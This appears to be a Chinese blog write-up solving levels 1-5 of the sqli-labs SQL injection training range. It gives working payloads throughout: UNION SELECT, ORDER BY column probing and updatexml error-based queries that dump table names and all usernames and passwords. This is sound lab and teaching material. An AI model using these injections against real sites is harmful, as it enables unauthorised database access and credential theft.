【sqli-labs靶场1-5题解答】

本文详细描述了作者在Sqli-labs靶场的1-5关中通过手工注入技巧,逐步识别并利用字符型和数字型注入,执行union查询确定列数,以及使用updatexml函数进行数据爆破的过程。
摘要由CSDN通过智能技术生成

Sqli-labs靶场的1-5关通关过程

第一关

1.来到第一关图上说我们需要一个数字的参数
在这里插入图片描述
输入?id=1 and 1=1发现页没有报错
在这里插入图片描述
2.于是我们来判断一下是否为字符型注入,尝试?id=1’发现页面报错,此题应该为字符型注入。
在这里插入图片描述
于是我们拼接字符串?id=1’and’1’='1页面回显正常
在这里插入图片描述
3.然后我们使用order by来确定表中的列数,为什么我们要确定表中字段的列数呢?是因为我们的union的联合查询
联合查询的特点:
1.要求多条查询语句的查询列数是一致的;
2.要求多条查询语句的查询的每一列的类型和顺序最好一致;
3.union关键字默认去重,如果使用union all可以包含重复项。
于是我们构造?id=1’and ‘1’='1’order by1–+页面回显正常
?id=1’and ‘1’='1’order by2–+页面回显正常
?id=1’and ‘1’='1’order by3–+页面回显正常
?id=1’and ‘1’='1’order by4–+页面回显不正常
?id=1’and ‘1’='1’order by1–+页面回显正常
?id=1’and ‘1’='1’order by1–+页面回显正常
在这里插入图片描述
然后我们确定了字段数,于是用联合查询?id=-1’union select 1,2,3–+(将id弄成一个负数的值,使前面的语句失效)然后看看union查询是否有回显位
在这里插入图片描述
这样我们就看到了2,3这两个回显位然后我们就利用union查询,查看数据库的版本和数据库名,输入?id=-1’union select 1,database(),version()–+
在这里插入图片描述
4.然后我们知道了数据库是security,版本信息是:5.7.26
接下来进行爆表爆出表名
?id=-1’union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database()–+
在这里插入图片描述
5.看到我们的账号和密码在一张表上,我们看到了users表,于是我们查看一下这张表的字段名
?id=-1’union select 1,2,group_concat(column_name)from information_schema.columns where table_name=‘users’–+
在这里插入图片描述
看到username和password字段,然后我们查询字段信息
?id=-1’union select 1,2,group_concat(0x5c,username,0x5c,password)from users–+
在这里插入图片描述
获得了所有的账号和密码顺利拿到很重要的信息。

第二关

1.输入?id=1页面正常
在这里插入图片描述
接下来判断为什么类型注入尝试单引号闭合?id=1’出错
在这里插入图片描述
2.输入?id=1’and’1’='1仍然出错说明不是字符型
在这里插入图片描述
3.输入?id=1 and 1=2。页面回显不正常,由此可以判断是数字型。
在这里插入图片描述
字符型注入:当输入的参数为字符串,如果存在注入漏洞,则为字符型注入。

数字型注入:数字型不需要单引号闭合,而字符型一般需要。

本来语句是一个完整的语句,它是用单引号闭合的,然后我们输入的单引号参数,导致多出了一个单引号而让语句闭合不了,产生报错,所以我们可以判断是单引号闭合。从刚才的报错语句中我们可以猜出部分查询语句’1’'和limit 0,1。其中1’是我们刚才输入的参数,它导致闭合不了所以报错了。

测试?id=1’ and’1’='1

and后面肯定为真,如果是单引号字符注入不会报错。

?id=1’and ‘1’='2

and后面的一定为假,如果是数字型这个会被运算然后报错

如果是字符型不会被运算不会报错但是页面回显不正常。
无闭合所以注释符–+加不加都行。后面同第一关相似。

第三关

1.输入?id=1页面正常。
在这里插入图片描述
2.先用单引号闭合测试报错。
在这里插入图片描述
3.此时输入?id=1’and’1’=‘1’页面恢复正常。说明可能是单引号闭合,排除数字型。
在这里插入图片描述
4.用–+将’注释测试报错,排除单引号闭合。那就有可能是跟单引号相关的闭合方式。
?id=1’–+
在这里插入图片描述
这里猜测用’)闭合
5.这里输入?id=1’)–+
在这里插入图片描述

后面步骤同上。

第四关

1.输入?id=1页面正常。
在这里插入图片描述
2.先用单引号测试页面正常
在这里插入图片描述
3.用id=1’ and ‘1’='1.回显如下排除数字型注入。
在这里插入图片描述
4.用–+注释’报错,证明不是单引号闭合应该是其他。
在这里插入图片描述
5.输入?id=1"页面报错那就有可能是跟双引号相关的闭合方式。
在这里插入图片描述
6.尝试")闭合
在这里插入图片描述
由此可以判断为")字符型注入,后面操作同第一关。

第五关

1.先输入id=1’发现报错
在这里插入图片描述
然后还是用上面的方法测试最后判断出是单引号闭合,字符型注入。
2.使用order by语句进行查列,order by 3的时候正常回显,order by 4无回显,说明有三列
在这里插入图片描述
3.输入?id=1’union select 1,2,3,4–+
在这里插入图片描述
输入?id=1’union select 1,2,database()–+
在这里插入图片描述
这里可以使用updatexml()函数
首先,了解下updatexml函数:
updatexml(XML_document,XPath_string,new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string(Xpath格式的字符串),如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值所以我们注入的语句为?id=1’and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)–+
在这里插入图片描述

爆破数据表
?id=1’and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=‘security’),0x7e),1)–+
在这里插入图片描述
爆破users表里的列
?id=1’and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name=‘users’),0x7e),1)–+
在这里插入图片描述
爆破用户名和密码(回显有限,只能一个一个查询)
?id=1’and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users limit 0,1),0x7e),1)–+
在这里插入图片描述
剩下修改limit 0,1为1,1 2,1…即可

  • 24
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值